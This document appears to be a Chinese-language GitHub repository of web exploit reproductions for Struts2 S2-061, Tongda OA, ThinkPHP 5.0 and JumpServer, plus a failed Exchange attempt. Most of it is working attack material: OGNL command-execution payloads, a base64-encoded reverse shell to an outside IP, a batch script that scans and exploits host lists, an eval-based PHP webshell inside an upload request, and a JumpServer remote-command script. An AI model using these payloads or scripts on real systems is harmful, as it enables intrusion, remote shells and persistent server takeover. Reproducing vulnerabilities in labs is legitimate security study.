--------------------------------------------------------------------------------
/2020_12_10_（未成功）Microsoft Exchange Server 2010远程代码执行漏洞复现（CVE-2020-17144）/readme.md:
--------------------------------------------------------------------------------
 1 | 下载https://github.com/zcgonvh/CVE-2020-17144
 2 | 
 3 | 保证系统有.net framework 3.5的前提下，win10中执行make.bat
 4 | 
 5 | 访问[https://mail.xxx.com/ews/Exchange.asmx](https://mail.xxx.com/ews/Exchange.asmx)，确保服务端程序存在
 6 | 
 7 | 执行.\CVE-2020-17144.exe mail.xxx.com username password  
 8 | 本次执行并未成功，报错如下  
 9 | ![image](./0.png)  
10 | 从报错提示看，可能是因为目标禁用了xml中的dtd
11 | 
12 | 想进一步知道能否绕过报错，需要学习[漏洞分析](http://www.zcgonvh.com/post/analysis_of_CVE-2020-17144_and_to_weaponizing.html)，最近在考试，有时间再看吧
13 | 


--------------------------------------------------------------------------------
/2020_12_17_S2-061远程代码执行漏洞复现（CVE-2020-17530）/0.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/safesword/WebExp/1987e403734000d6346135fbd789ceb34b03ddde/2020_12_17_S2-061远程代码执行漏洞复现（CVE-2020-17530）/0.png


--------------------------------------------------------------------------------
/2020_12_17_S2-061远程代码执行漏洞复现（CVE-2020-17530）/1.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/safesword/WebExp/1987e403734000d6346135fbd789ceb34b03ddde/2020_12_17_S2-061远程代码执行漏洞复现（CVE-2020-17530）/1.png


--------------------------------------------------------------------------------
/2020_12_17_S2-061远程代码执行漏洞复现（CVE-2020-17530）/2.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/safesword/WebExp/1987e403734000d6346135fbd789ceb34b03ddde/2020_12_17_S2-061远程代码执行漏洞复现（CVE-2020-17530）/2.png


--------------------------------------------------------------------------------
/2020_12_17_S2-061远程代码执行漏洞复现（CVE-2020-17530）/3.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/safesword/WebExp/1987e403734000d6346135fbd789ceb34b03ddde/2020_12_17_S2-061远程代码执行漏洞复现（CVE-2020-17530）/3.png


--------------------------------------------------------------------------------
/2020_12_17_S2-061远程代码执行漏洞复现（CVE-2020-17530）/4.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/safesword/WebExp/1987e403734000d6346135fbd789ceb34b03ddde/2020_12_17_S2-061远程代码执行漏洞复现（CVE-2020-17530）/4.png


--------------------------------------------------------------------------------
/2020_12_17_S2-061远程代码执行漏洞复现（CVE-2020-17530）/5.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/safesword/WebExp/1987e403734000d6346135fbd789ceb34b03ddde/2020_12_17_S2-061远程代码执行漏洞复现（CVE-2020-17530）/5.png


--------------------------------------------------------------------------------
/2020_12_17_S2-061远程代码执行漏洞复现（CVE-2020-17530）/6.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/safesword/WebExp/1987e403734000d6346135fbd789ceb34b03ddde/2020_12_17_S2-061远程代码执行漏洞复现（CVE-2020-17530）/6.png


--------------------------------------------------------------------------------
/2020_12_17_S2-061远程代码执行漏洞复现（CVE-2020-17530）/readme.md:
--------------------------------------------------------------------------------
  1 | # 0x00 软件介绍
  2 | struts2：面向JAVA EE的一款java web开发框架
  3 | 
  4 | # 0x01 复现环境
  5 | 使用环境：vulhub中的环境：https://github.com/vulhub/vulhub/tree/master/struts2/s2-061  
  6 | 复现版本：Apache Struts 2.5.25
  7 | 
  8 | # 0x02 环境搭建
  9 | 一台云上的vps  
 10 | git clone https://github.com/vulhub/vulhub  
 11 | cd ./vulhub/  
 12 | cd ./struts2/  
 13 | cd ./s2-061/  
 14 | systemctl start docker  
 15 | docker-compose up -d
 16 | 
 17 | # 0x03 利用条件
 18 | 此次漏洞只是S2-059修复的一个绕过，并且本次利用的核心类org.apache.commons.collections.BeanMap在commons-collections-x.x.jar包中，但是在官方的最小依赖包中并没有包含这个包。所以即使扫到了支持OGNL表达式的注入点，如果没有使用这个依赖包，也还是没办法进行利用
 19 | 
 20 | # 0x04 影响版本
 21 | Apache Struts 2.0.0 - Struts 2.5.25
 22 | 
 23 | # 0x05 漏洞复现
 24 | 攻击环境：kali_x64_en-us
 25 | 
 26 | EXP1（验证漏洞是否存在）：
 27 | ```
 28 | http://ybdt.best:8080/?id=%25%7b+%27test%27+%2b+(2000+%2b+20).toString()%7d
 29 | ```
 30 | 查看返回页面的源码，如下图，包含“test2020”表示漏洞存在  
 31 | ![image](./0.png)
 32 | 
 33 | 对于命令执行，目前网上有2种利用方式
 34 | 
 35 | EXP2（第一种利用方式执行命令ls）：
 36 | ```
 37 | POST /index.action HTTP/1.1
 38 | Host: ybdt.best:8080
 39 | User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:83.0) Gecko/20100101 Firefox/83.0
 40 | Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
 41 | Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
 42 | Accept-Encoding: gzip, deflate
 43 | Connection: close
 44 | Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryl7d1B1aGsV2wcZwF
 45 | Content-Length: 829
 46 | 
 47 | ------WebKitFormBoundaryl7d1B1aGsV2wcZwF
 48 | Content-Disposition: form-data; name="id"
 49 | 
 50 | %{(#instancemanager=#application["org.apache.tomcat.InstanceManager"]).(#stack=#attr["com.opensymphony.xwork2.util.ValueStack.ValueStack"]).(#bean=#instancemanager.newInstance("org.apache.commons.collections.BeanMap")).(#bean.setBean(#stack)).(#context=#bean.get("context")).(#bean.setBean(#context)).(#macc=#bean.get("memberAccess")).(#bean.setBean(#macc)).(#emptyset=#instancemanager.newInstance("java.util.HashSet")).(#bean.put("excludedClasses",#emptyset)).(#bean.put("excludedPackageNames",#emptyset)).(#arglist=#instancemanager.newInstance("java.util.ArrayList")).(#arglist.add("ls")).(#execute=#instancemanager.newInstance("freemarker.template.utility.Execute")).(#execute.exec(#arglist))}
 51 | ------WebKitFormBoundaryl7d1B1aGsV2wcZwF--
 52 | ```
 53 | 如下图，成功执行命令  
 54 | ![image](./1.png)
 55 | 
 56 | EXP3（第二种利用方式执行命令id）：  
 57 | ```
 58 | POST /index.action HTTP/1.1
 59 | Host: ybdt.best:8080
 60 | Cache-Control: max-age=0
 61 | Upgrade-Insecure-Requests: 1
 62 | User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36
 63 | Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
 64 | Referer: http://192.168.1.110:8080/index.action
 65 | Accept-Encoding: gzip, deflate
 66 | Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
 67 | Connection: close
 68 | Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryl7d1B1aGsV2wcZwF
 69 | Content-Length: 1361
 70 | 
 71 | ------WebKitFormBoundaryl7d1B1aGsV2wcZwF
 72 | Content-Disposition: form-data; name="id"
 73 | 
 74 | %{
 75 | (#request.map=#application.get('org.apache.tomcat.InstanceManager').newInstance('org.apache.commons.collections.BeanMap')).toString().substring(0,0) + 
 76 | (#request.map.setBean(#request.get('struts.valueStack')) == true).toString().substring(0,0) + 
 77 | (#request.map2=#application.get('org.apache.tomcat.InstanceManager').newInstance('org.apache.commons.collections.BeanMap')).toString().substring(0,0) +
 78 | (#request.map2.setBean(#request.get('map').get('context')) == true).toString().substring(0,0) + 
 79 | (#request.map3=#application.get('org.apache.tomcat.InstanceManager').newInstance('org.apache.commons.collections.BeanMap')).toString().substring(0,0) + 
 80 | (#request.map3.setBean(#request.get('map2').get('memberAccess')) == true).toString().substring(0,0) + 
 81 | (#request.get('map3').put('excludedPackageNames',#application.get('org.apache.tomcat.InstanceManager').newInstance('java.util.HashSet')) == true).toString().substring(0,0) + 
 82 | (#request.get('map3').put('excludedClasses',#application.get('org.apache.tomcat.InstanceManager').newInstance('java.util.HashSet')) == true).toString().substring(0,0) +
 83 | (#application.get('org.apache.tomcat.InstanceManager').newInstance('freemarker.template.utility.Execute').exec({'id'}))
 84 | }
 85 | ------WebKitFormBoundaryl7d1B1aGsV2wcZwF--
 86 | ```
 87 | 如下图，成功执行命令  
 88 | ![image](./2.png)
 89 | 
 90 | EXP4（使用第一种利用方式反弹shell）：  
 91 | ```
 92 | POST /index.action HTTP/1.1
 93 | Host: ybdt.best:8080
 94 | Accept-Encoding: gzip, deflate
 95 | Accept: */*
 96 | Accept-Language: en
 97 | User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.132 Safari/537.36
 98 | Connection: close
 99 | Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryl7d1B1aGsV2wcZwF
100 | Content-Length: 918
101 | 
102 | ------WebKitFormBoundaryl7d1B1aGsV2wcZwF
103 | Content-Disposition: form-data; name="id"
104 | 
105 | %{(#instancemanager=#application["org.apache.tomcat.InstanceManager"]).(#stack=#attr["com.opensymphony.xwork2.util.ValueStack.ValueStack"]).(#bean=#instancemanager.newInstance("org.apache.commons.collections.BeanMap")).(#bean.setBean(#stack)).(#context=#bean.get("context")).(#bean.setBean(#context)).(#macc=#bean.get("memberAccess")).(#bean.setBean(#macc)).(#emptyset=#instancemanager.newInstance("java.util.HashSet")).(#bean.put("excludedClasses",#emptyset)).(#bean.put("excludedPackageNames",#emptyset)).(#arglist=#instancemanager.newInstance("java.util.ArrayList")).(#arglist.add("bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8zNC45Mi4zNy4xODkvMTIzNCAwPiYx}|{base64,-d}|{bash,-i}")).(#execute=#instancemanager.newInstance("freemarker.template.utility.Execute")).(#execute.exec(#arglist))}
106 | ------WebKitFormBoundaryl7d1B1aGsV2wcZwF--
107 | ```
108 | 执行后返回值为空，如下图  
109 | ![image](./4.png)  
110 | 成功反弹shell，如下图  
111 | ![image](./5.png)  
112 | 其中反弹shell的命令
113 | ```
114 | bash -i >& /dev/tcp/34.92.37.189/1234 0>&1
115 | ```
116 | 需要经过[http://www.jackson-t.ca/runtime-exec-payloads.html](http://www.jackson-t.ca/runtime-exec-payloads.html)这个在线编码网站编码转化一下
117 | 
118 | EXP5（以get方式执行命令）：
119 | ```
120 | ?id=%25{(%27Powered_by_Unicode_Potats0%2cenjoy_it%27).(%23UnicodeSec+%3d+%23application[%27org.apache.tomcat.InstanceManager%27]).(%23potats0%3d%23UnicodeSec.newInstance(%27org.apache.commons.collections.BeanMap%27)).(%23stackvalue%3d%23attr[%27struts.valueStack%27]).(%23potats0.setBean(%23stackvalue)).(%23context%3d%23potats0.get(%27context%27)).(%23potats0.setBean(%23context)).(%23sm%3d%23potats0.get(%27memberAccess%27)).(%23emptySet%3d%23UnicodeSec.newInstance(%27java.util.HashSet%27)).(%23potats0.setBean(%23sm)).(%23potats0.put(%27excludedClasses%27%2c%23emptySet)).(%23potats0.put(%27excludedPackageNames%27%2c%23emptySet)).(%23exec%3d%23UnicodeSec.newInstance(%27freemarker.template.utility.Execute%27)).(%23cmd%3d{%27whoami%27}).(%23res%3d%23exec.exec(%23cmd))}
121 | ```
122 | 如下图，成功执行命令  
123 | ![image](./3.png)
124 | 
125 | # 0x06 批量脚本
126 | 批量脚本执行如下  
127 | ![image](./6.png)
128 | 
129 | # 0x07 踩坑记录
130 | 无
131 | 
132 | # 0x08 参考链接
133 | https://mp.weixin.qq.com/s?__biz=MzkwODE4ODUzMg==&mid=2247483809&idx=1&sn=25e1749f84157647a301cfc870e3a496&chksm=c0cc8fbaf7bb06ac6a737ae1b445a7f102c12bccd1dd1b6947010cc566c222c83ca64ddaf55a&mpshare=1&scene=1&srcid=1217bML3jQDfcn08CNPB108Z&sharer_sharetime=1608161016302&sharer_shareid=2b3eb33f35dafb832c1be951576d9620&exportkey=AZZR%2F5D7iQswX%2FWvZ%2FReXw4%3D&pass_ticket=VW8a7oy0erYiAAYDw5uunYHI68W6JFU%2B8rOOlOztJ0ArCwSyttvTe%2BlX1ZOnHwv7&wx_header=0#rd  
134 | https://www.cnblogs.com/backlion/p/14122528.html
135 | 


--------------------------------------------------------------------------------
/2020_12_17_S2-061远程代码执行漏洞复现（CVE-2020-17530）/s2-061-batch-detect-exp.py:
--------------------------------------------------------------------------------
  1 | #!/usr/bin/python3
  2 | 
  3 | import sys
  4 | import requests
  5 | import platform
  6 | from bs4 import BeautifulSoup
  7 | 
  8 | #统一URL格式，以“/”结尾
  9 | def correct_url(host_file):
 10 |     with open(host_file, "r") as f:
 11 |         hosts = f.readlines();
 12 |         correct_urls = [];
 13 |         for host in hosts:
 14 |             if platform.system() == "Linux":
 15 |                 host = host.strip("\n");
 16 |             if platform.system() == "Windows":
 17 |                 host = host.strip("\r\n");
 18 |             if host.endswith("/"):
 19 |                 correct_urls.append(host);
 20 |             else:
 21 |                 correct_urls.append(host + "/");
 22 |     return correct_urls;
 23 | 
 24 | #使用漏洞复现中的EXP1验证漏洞是否存在
 25 | def vuln_detect(url):
 26 |     payload = "?id=%25%7b+%27test%27+%2b+(2000+%2b+20).toString()%7d";
 27 |     full_url = url + payload;
 28 |     try:
 29 |         r = requests.get(full_url);
 30 |         if "test2020" in r.text:
 31 |             return "True";
 32 |         else:
 33 |             return "False";
 34 |     except requests.exceptions.ConnectionError:
 35 |         return "connection error";
 36 |     except BaseException as e:
 37 |         return e;
 38 | 
 39 | #使用漏洞复现中的EXP5执行命令
 40 | def vuln_exp(url, command):
 41 |     payload = "?id=%25{(%27Powered_by_Unicode_Potats0%2cenjoy_it%27).";
 42 |     payload += "(%23UnicodeSec+%3d+%23application[%27org.apache.tomcat.InstanceManager%27]).";
 43 |     payload += "(%23potats0%3d%23UnicodeSec.newInstance(%27org.apache.commons.collections.BeanMap%27)).";
 44 |     payload += "(%23stackvalue%3d%23attr[%27struts.valueStack%27]).";
 45 |     payload += "(%23potats0.setBean(%23stackvalue)).";
 46 |     payload += "(%23context%3d%23potats0.get(%27context%27)).";
 47 |     payload += "(%23potats0.setBean(%23context)).";
 48 |     payload += "(%23sm%3d%23potats0.get(%27memberAccess%27)).";
 49 |     payload += "(%23emptySet%3d%23UnicodeSec.newInstance(%27java.util.HashSet%27)).";
 50 |     payload += "(%23potats0.setBean(%23sm)).";
 51 |     payload += "(%23potats0.put(%27excludedClasses%27%2c%23emptySet)).";
 52 |     payload += "(%23potats0.put(%27excludedPackageNames%27%2c%23emptySet)).";
 53 |     payload += "(%23exec%3d%23UnicodeSec.newInstance(%27freemarker.template.utility.Execute%27)).";
 54 |     payload += "(%23cmd%3d{%27" + command + "%27}).";
 55 |     payload += "(%23res%3d%23exec.exec(%23cmd))}";
 56 |     full_url = url + payload;
 57 |     r = requests.get(full_url);
 58 |     html_doc = r.text;
 59 |     soup = BeautifulSoup(html_doc, features="lxml");
 60 |     a0 = soup.find_all("a")[0];
 61 |     a0_id = a0["id"];
 62 |     return a0_id.strip("\n");
 63 | 
 64 | def main():
 65 |     if (len(sys.argv) == 3) or (len(sys.argv) == 4):
 66 |         if (sys.argv[1] == "detect") or (sys.argv[1] == "exp"):
 67 |             if len(sys.argv) == 3:
 68 |                 directive = sys.argv[1];
 69 |                 host_file = sys.argv[2];
 70 |             elif len(sys.argv) == 4:
 71 |                 directive = sys.argv[1];
 72 |                 command = sys.argv[2];
 73 |                 host_file = sys.argv[3];
 74 |         else:
 75 |             print("Usage: below example is from ubuntu");
 76 |             print("Usage: python3 s2-061-batch-detect-exp.py detect hosts.txt");
 77 |             print("Usage: python3 s2-061-batch-detect-exp.py exp whoami vulnerable.txt");
 78 |             exit();
 79 |     else:
 80 |         print("Usage: below example is from ubuntu");
 81 |         print("Usage: python3 s2-061-batch-detect-exp.py detect hosts.txt");
 82 |         print("Usage: python3 s2-061-batch-detect-exp.py exp whoami vulnerable.txt");
 83 |         exit();
 84 | 
 85 |     #统一URL格式，以“/”结尾
 86 |     correct_urls = correct_url(host_file);
 87 |     
 88 |     if directive == "detect":
 89 |         with open("vulnerable.txt", "w") as f0:
 90 |             for url in correct_urls:
 91 |                 result = vuln_detect(url);
 92 |                 if result == "True":
 93 |                     print(url + " is vulnerable");
 94 |                     if platform.system() == "Linux":
 95 |                         f0.write(url + "\n");
 96 |                     if platform.system() == "Windows":
 97 |                         f0.write(url + "\r\n");
 98 |                 elif result == "False":
 99 |                     print(url + " is not vulnerable");
100 |                 else:
101 |                     print(url + " " + result);
102 |             print("The result has been output to the vulnerable.txt");
103 |     elif directive == "exp":
104 |         for url in correct_urls:
105 |             result = vuln_exp(url, command);
106 |             if result != "":
107 |                 print("The result of " + url + " for command '" + command + "' is:");
108 |                 print(result);
109 |             else:
110 |                 print("Command execute failed!");
111 | 
112 | main();


--------------------------------------------------------------------------------
/2020_12_17_S2-061远程代码执行漏洞复现（CVE-2020-17530）/s2-061-batch-detect.py:
--------------------------------------------------------------------------------
 1 | #!/usr/bin/python3
 2 | 
 3 | import sys
 4 | import requests
 5 | import platform
 6 | from bs4 import BeautifulSoup
 7 | 
 8 | #统一URL格式，以“/”结尾
 9 | def correct_url(host_file):
10 |     with open(host_file, "r") as f:
11 |         hosts = f.readlines();
12 |         correct_urls = [];
13 |         for host in hosts:
14 |             if platform.system() == "Linux":
15 |                 host = host.strip("\n");
16 |             if platform.system() == "Windows":
17 |                 host = host.strip("\r\n");
18 |             if host.endswith("/"):
19 |                 correct_urls.append(host);
20 |             else:
21 |                 correct_urls.append(host + "/");
22 |     return correct_urls;
23 | 
24 | #使用漏洞复现中的EXP1验证漏洞是否存在
25 | def vuln_detect(url):
26 |     payload = "?id=%25%7b+%27test%27+%2b+(2000+%2b+20).toString()%7d";
27 |     full_url = url + payload;
28 |     try:
29 |         r = requests.get(full_url);
30 |         if "test2020" in r.text:
31 |             return "True";
32 |         else:
33 |             return "False";
34 |     except requests.exceptions.ConnectionError:
35 |         return "connection error";
36 |     except BaseException as e:
37 |         return e;
38 | 
39 | def main():
40 |     if len(sys.argv) == 2:
41 |         host_file = sys.argv[1];
42 |     else:
43 |         print("Usage: below example is from ubuntu");
44 |         print("Usage: python3 s2-061-batch-detect-exp.py hosts.txt");
45 |         exit();
46 | 
47 |     #统一URL格式，以“/”结尾
48 |     correct_urls = correct_url(host_file);
49 | 
50 |     with open("vulnerable.txt", "w") as f0:
51 |         for url in correct_urls:
52 |             result = vuln_detect(url);
53 |             if result == "True":
54 |                 print(url + " is vulnerable");
55 |                 if platform.system() == "Linux":
56 |                     f0.write(url + "\n");
57 |                 if platform.system() == "Windows":
58 |                     f0.write(url + "\r\n");
59 |             elif result == "False":
60 |                 print(url + " is not vulnerable");
61 |             else:
62 |                 print(url + " " + result);
63 |         print("The result has been output to the vulnerable.txt");
64 | 
65 | main();


--------------------------------------------------------------------------------
/2021_01_10_通达OA未授权访问+文件上传导致RCE/0.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/safesword/WebExp/1987e403734000d6346135fbd789ceb34b03ddde/2021_01_10_通达OA未授权访问+文件上传导致RCE/0.png


--------------------------------------------------------------------------------
/2021_01_10_通达OA未授权访问+文件上传导致RCE/readme.md:
--------------------------------------------------------------------------------
  1 | # 0x00 软件介绍
  2 | 通达OA：一款在中国流行的php开发的OA软件
  3 | 
  4 | # 0x01 复现环境
  5 | 使用环境：windows 2008  
  6 | 复现版本：无
  7 | 
  8 | # 0x02 环境搭建
  9 | 无
 10 | 
 11 | # 0x03 利用条件
 12 | 无
 13 | 
 14 | # 0x04 影响版本
 15 | 2016-11.6
 16 | 
 17 | # 0x05 漏洞复现
 18 | 攻击环境：kali x64
 19 | 
 20 | 攻击payload如下，替换其中的php代码部分为你的webshell即可，我这里用的是哥斯拉生成的php webshell：
 21 | ```
 22 | POST /module/ueditor/php/action_upload.php?action=uploadfile HTTP/1.1
 23 | Host: 127.0.0.1
 24 | User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:78.0) Gecko/20100101 Firefox/78.0
 25 | Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
 26 | Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
 27 | Accept-Encoding: gzip, deflate
 28 | Content-Type: multipart/form-data; boundary=---------------------------157569659620694477453109954647
 29 | Content-Length: 879
 30 | Connection: close
 31 | Cookie: PHPSESSID=t0a1f7nd58egc83cnpv045iua4; KEY_RANDOMDATA=16407
 32 | Upgrade-Insecure-Requests: 1
 33 | 
 34 | -----------------------------157569659620694477453109954647
 35 | Content-Disposition: form-data; name="CONFIG[fileFieldName]"
 36 | 
 37 | ff
 38 | -----------------------------157569659620694477453109954647
 39 | Content-Disposition: form-data; name="CONFIG[fileMaxSize]"
 40 | 
 41 | 1000000000
 42 | -----------------------------157569659620694477453109954647
 43 | Content-Disposition: form-data; name="CONFIG[filePathFormat]"
 44 | 
 45 | Api/conf
 46 | -----------------------------157569659620694477453109954647
 47 | Content-Disposition: form-data; name="CONFIG[fileAllowFiles][]"
 48 | 
 49 | .php
 50 | -----------------------------157569659620694477453109954647
 51 | Content-Disposition: form-data; name="ff"; filename="xxxaaaa.php"
 52 | Content-Type: text/plain
 53 | 
 54 | <?php
 55 |     session_start();
 56 |     @set_time_limit(0);
 57 | 	@error_reporting(0);
 58 |     function E($D,$K){
 59 |         for($i=0;$i<strlen($D);$i++) {
 60 |             $D[$i] = $D[$i]^$K[$i+1&15];
 61 |         }
 62 |         return $D;
 63 |     }
 64 |     function Q($D){
 65 |         return base64_encode($D);
 66 |     }
 67 |     function O($D){
 68 |         return base64_decode($D);
 69 |     }
 70 |     $P='Pass_v1';
 71 |     $V='payload';
 72 |     $T='3c6e0b8a9c15224a';
 73 |     if (isset($_POST[$P])){
 74 |         $F=O(E(O($_POST[$P]),$T));
 75 |         if (isset($_SESSION[$V])){
 76 |             $L=$_SESSION[$V];
 77 |             $A=explode('|',$L);
 78 |             class C{public function nvoke($p) {eval($p."");}}
 79 |             $R=new C();
 80 | 			$R->nvoke($A[0]);
 81 |             echo substr(md5($P.$T),0,16);
 82 |             echo Q(E(@run($F),$T));
 83 |             echo substr(md5($P.$T),16);
 84 |         }else{
 85 |             $_SESSION[$V]=$F;
 86 |         }
 87 |     }
 88 | 
 89 | -----------------------------157569659620694477453109954647
 90 | Content-Disposition: form-data; name="mufile"
 91 | 
 92 | 提交查询
 93 | -----------------------------157569659620694477453109954647--
 94 | ```
 95 | 如下图  
 96 | ![image](./0.png)
 97 | 
 98 | # 0x06 批量脚本
 99 | 无
100 | 
101 | # 0x07 踩坑记录
102 | 无
103 | 
104 | # 0x08 参考链接
105 | https://wiki.wgpsec.org/knowledge/
106 | 


--------------------------------------------------------------------------------
/2021_01_11_ThinkPHP远程命令执行漏洞复现/0.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/safesword/WebExp/1987e403734000d6346135fbd789ceb34b03ddde/2021_01_11_ThinkPHP远程命令执行漏洞复现/0.png


--------------------------------------------------------------------------------
/2021_01_11_ThinkPHP远程命令执行漏洞复现/readme.md:
--------------------------------------------------------------------------------
 1 | # 0x00 软件介绍
 2 | ThinkPHP：一款在中国流行的php开发框架
 3 | 
 4 | # 0x01 复现环境
 5 | 使用环境：win10 x64  
 6 | 复现版本：ThinkPHP 5.0.22
 7 | 
 8 | # 0x02 环境搭建
 9 | 下载thinkphp_5.0.22_with_extend.zip  
10 | 解压后访问http://127.0.0.1/thinkphp_5.0.22_with_extend/public/index.php
11 | 
12 | # 0x03 利用条件
13 | 无
14 | 
15 | # 0x04 影响版本
16 | ThinkPHP 5.0.0 ~ 5.0.23
17 | 
18 | # 0x05 漏洞复现
19 | 攻击环境：win10 x64
20 | 
21 | 攻击payload如下：
22 | ```
23 | http://127.0.0.1/thinkphp_5.0.22_with_extend/public/index.php?s=captcha
24 | 
25 | POST:
26 | 
27 | _method=__construct&filter[]=system&method=get&get[]=whoami
28 | ```
29 | 执行结果如下图  
30 | ![image](./0.png)
31 | 
32 | # 0x06 批量脚本
33 | 无
34 | 
35 | # 0x07 踩坑记录
36 | 无
37 | 
38 | # 0x08 参考链接
39 | https://xz.aliyun.com/t/3845
40 | 


--------------------------------------------------------------------------------
/2021_01_11_ThinkPHP远程命令执行漏洞复现/thinkphp版本总结.txt:
--------------------------------------------------------------------------------
1 | 截止到2021/01/03，不算Pre-release版本，5个系列全部版本如下：
2 | 
3 | thinkphp 6.0.0-6.0.5
4 | thinkphp 5.1.0-5.1.40
5 | thinkphp 5.0.0-5.0.24
6 | thinkphp 3.2.0-3.2.5
7 | thinkphp 3.1.0-3.1.3
8 | 


--------------------------------------------------------------------------------
/2021_01_18_JumpServer远程代码执行漏洞/0.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/safesword/WebExp/1987e403734000d6346135fbd789ceb34b03ddde/2021_01_18_JumpServer远程代码执行漏洞/0.png


--------------------------------------------------------------------------------
/2021_01_18_JumpServer远程代码执行漏洞/a0.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/safesword/WebExp/1987e403734000d6346135fbd789ceb34b03ddde/2021_01_18_JumpServer远程代码执行漏洞/a0.png


--------------------------------------------------------------------------------
/2021_01_18_JumpServer远程代码执行漏洞/a1.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/safesword/WebExp/1987e403734000d6346135fbd789ceb34b03ddde/2021_01_18_JumpServer远程代码执行漏洞/a1.png


--------------------------------------------------------------------------------
/2021_01_18_JumpServer远程代码执行漏洞/jumpserver-rce.py:
--------------------------------------------------------------------------------
 1 | # -*- coding: utf-8 -*-
 2 | # import requests
 3 | # import json
 4 | # data={"user":"4320ce47-e0e0-4b86-adb1-675ca611ea0c","asset":"ccb9c6d7-6221-445e-9fcc-b30c95162825","system_user":"79655e4e-1741-46af-a793-fff394540a52"}
 5 | #
 6 | # url_host='http://192.168.1.73:8080'
 7 | #
 8 | # def get_token():
 9 | #     url = url_host+'/api/v1/users/connection-token/?user-only=1'
10 | #     url =url_host+'/api/v1/authentication/connection-token/?user-only=1'
11 | #     response = requests.post(url, json=data).json()
12 | #     print(response)
13 | #     ret=requests.get(url_host+'/api/v1/authentication/connection-token/?token=%s'%response['token'])
14 | #     print(ret.text)
15 | # get_token()
16 | import asyncio
17 | import websockets
18 | import requests
19 | import json
20 | url = "/api/v1/authentication/connection-token/?user-only=None"
21 | 
22 | # 向服务器端发送认证后的消息
23 | async def send_msg(websocket,_text):
24 |     if _text == "exit":
25 |         print(f'you have enter "exit", goodbye')
26 |         await websocket.close(reason="user exit")
27 |         return False
28 |     await websocket.send(_text)
29 |     recv_text = await websocket.recv()
30 |     print(f"{recv_text}")
31 | 
32 | # 客户端主逻辑
33 | async def main_logic(cmd):
34 |     print("#######start ws")
35 |     async with websockets.connect(target) as websocket:
36 |         recv_text = await websocket.recv()
37 |         print(f"{recv_text}")
38 |         resws=json.loads(recv_text)
39 |         id = resws['id']
40 |         print("get ws id:"+id)
41 |         print("###############")
42 |         print("init ws")
43 |         print("###############")
44 |         inittext = json.dumps({"id": id, "type": "TERMINAL_INIT", "data": "{\"cols\":164,\"rows\":17}"})
45 |         await send_msg(websocket,inittext)
46 |         for i in range(20):
47 |             recv_text = await websocket.recv()
48 |             print(f"{recv_text}")
49 |         print("###############")
50 |         print("exec cmd: ls")
51 |         cmdtext = json.dumps({"id": id, "type": "TERMINAL_DATA", "data": cmd+"\r\n"})
52 |         print(cmdtext)
53 |         await send_msg(websocket, cmdtext)
54 |         for i in range(20):
55 |             recv_text = await websocket.recv()
56 |             print(f"{recv_text}")
57 |         print('#######finish')
58 | 
59 | 
60 | if __name__ == '__main__':
61 |     try:
62 |         import sys
63 |         host=sys.argv[1]
64 |         cmd=sys.argv[2]
65 |         if host[-1]=='/':
66 |             host=host[:-1]
67 |         print(host)
68 |         data = {"user": "4320ce47-e0e0-4b86-adb1-675ca611ea0c", "asset": "ccb9c6d7-6221-445e-9fcc-b30c95162825",
69 |                 "system_user": "79655e4e-1741-46af-a793-fff394540a52"}
70 |         print("##################")
71 |         print("get token url:%s" % (host + url,))
72 |         print("##################")
73 |         res = requests.post(host + url, json=data)
74 |         token = res.json()["token"]
75 |         print("token:%s", (token,))
76 |         print("##################")
77 |         target = "ws://" + host.replace("http://", '') + "/koko/ws/token/?target_id=" + token
78 |         print("target ws:%s" % (target,))
79 |         asyncio.get_event_loop().run_until_complete(main_logic(cmd))
80 |     except:
81 |         print("python jumpserver.py http://192.168.1.73 whoami")


--------------------------------------------------------------------------------
/2021_01_18_JumpServer远程代码执行漏洞/quick_start.sh:
--------------------------------------------------------------------------------
 1 | #!/bin/bash
 2 | #
 3 | 
 4 | flag=0
 5 | 
 6 | echo -ne "User    Check \t........................ "
 7 | isRoot=`id -u -n | grep root | wc -l`
 8 | if [ "x$isRoot" == "x1" ]; then
 9 |     echo -e "[\033[32m OK \033[0m]"
10 | else
11 |     echo -e "[\033[31m ERROR \033[0m] 请用 root 用户执行安装脚本"
12 |     flag=1
13 | fi
14 | 
15 | echo -ne "OS      Check \t........................ "
16 | if [ -f /etc/redhat-release ]; then
17 |     osVersion=`cat /etc/redhat-release | grep -oE '[0-9]+\.[0-9]+'`
18 |     majorVersion=`echo $osVersion | awk -F. '{print $1}'`
19 |     if [ "x$majorVersion" == "x" ]; then
20 |         echo -e "[\033[31m ERROR \033[0m] 操作系统类型版本不符合要求，请使用 CentOS 7 64 位版本"
21 |         flag=1
22 |     else
23 |         if [[ $majorVersion == 7 ]]; then
